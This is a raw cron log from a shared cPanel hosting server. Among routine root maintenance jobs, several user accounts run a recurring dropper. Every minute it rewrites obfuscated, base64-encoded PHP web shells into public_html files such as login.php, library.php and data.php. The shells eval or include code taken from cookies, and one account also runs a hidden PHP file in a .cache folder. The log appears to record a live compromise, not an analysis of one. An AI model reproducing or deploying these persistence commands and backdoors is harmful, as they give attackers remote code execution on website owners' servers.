Mar  2 10:10:02 medusa CROND[31950]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:10:02 medusa CROND[31949]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:10:02 medusa CROND[31944]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:10:02 medusa CROND[31954]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:10:02 medusa CROND[31957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:10:02 medusa CROND[31955]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 10:10:02 medusa CROND[31939]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:10:02 medusa CROND[31947]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 10:10:02 medusa CROND[31946]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 10:10:02 medusa CROND[31961]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 10:10:02 medusa CROND[31962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:11:02 medusa CROND[18585]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:11:02 medusa CROND[18588]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 10:11:02 medusa CROND[18593]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:11:02 medusa CROND[18598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:11:02 medusa CROND[18596]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:11:02 medusa CROND[18600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:11:02 medusa CROND[18604]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:11:02 medusa CROND[18607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:11:02 medusa CROND[18608]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:11:02 medusa CROND[18609]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:11:02 medusa CROND[18611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:11:02 medusa CROND[18610]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:11:02 medusa CROND[18595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:12:01 medusa CROND[4098]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:12:02 medusa CROND[4284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:12:02 medusa CROND[4283]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:12:02 medusa CROND[4285]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:12:02 medusa CROND[4287]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:12:02 medusa CROND[4295]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:12:02 medusa CROND[4296]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:12:02 medusa CROND[4297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:12:02 medusa CROND[4299]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:12:02 medusa CROND[4302]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
